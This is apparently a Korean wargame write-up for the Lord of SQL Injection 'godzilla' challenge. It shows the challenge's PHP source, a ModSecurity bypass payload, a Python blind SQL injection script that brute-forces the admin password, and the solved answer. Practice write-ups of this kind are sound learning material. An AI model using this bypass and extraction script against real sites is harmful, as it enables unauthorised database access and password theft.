소스코드 분석
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_godzilla where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_godzilla where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
highlight_file(__FILE__);
?>
1. if($result['id']) echo "<h2>Hello admin</h2>";
> 쿼리 결과로 값이 존재하면 "Hello admin" 을 출력.
2. if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("godzilla");
> admin의 pw값과 요청한 파라미터 pw 값이 동일할 시 클리어. Blind SQL Injection를 할 필요 있음
문제 풀이
해당 문제 역시 '<@=1
로 방화벽을 우회 가능하다.
우회한 문자열 뒤 글자 비교를 통하여 admin의 pw 값을 알아내면 된다.
?id='<@=1 or length(pw)>=8-- -
간단하게 자동화 프로그램을 만들어서 pw를 알아낸다.
여기서 출력되는 문자열이 Hello admin
이여서 admin의 패스워드 값이라 착각할 수 있는데 prob_godzilla
테이블에는 guest/guest
라는 값이 하나 더 존재한다. 유의해서 자동화 프로그램을 제작한다.
import requests
chars = '0123456789abcdef'
cookies = {'PHPSESSID':'45jj4iuhdjbiiamku934ovh6v7'}
temp = ''
res = ''
for i in range(0,8):
for j in chars:
r = requests.get("https://modsec.rubiya.kr/chall/godzilla_799f2ae774c76c0bfd8429b8d5692918.php?id=%27%3C@=1%20or%20id=%27admin%27%20and%20pw>='"+res+j+"'--%20-",verify=False, cookies=cookies)
if r.text.find('Hello admin')>1 :
temp = j
else :
res += str(temp)
break
print(res)
?pw=a18a6cc5
'wargame > Lord Of SQL Injection' 카테고리의 다른 글
[LOS] chupacabra (0) | 2019.07.16 |
---|---|
[LOS] cyclops (0) | 2019.05.10 |
[LOS] death (0) | 2019.05.10 |
[LOS] cthulhu (0) | 2019.05.10 |
[LOS] alien (0) | 2018.08.19 |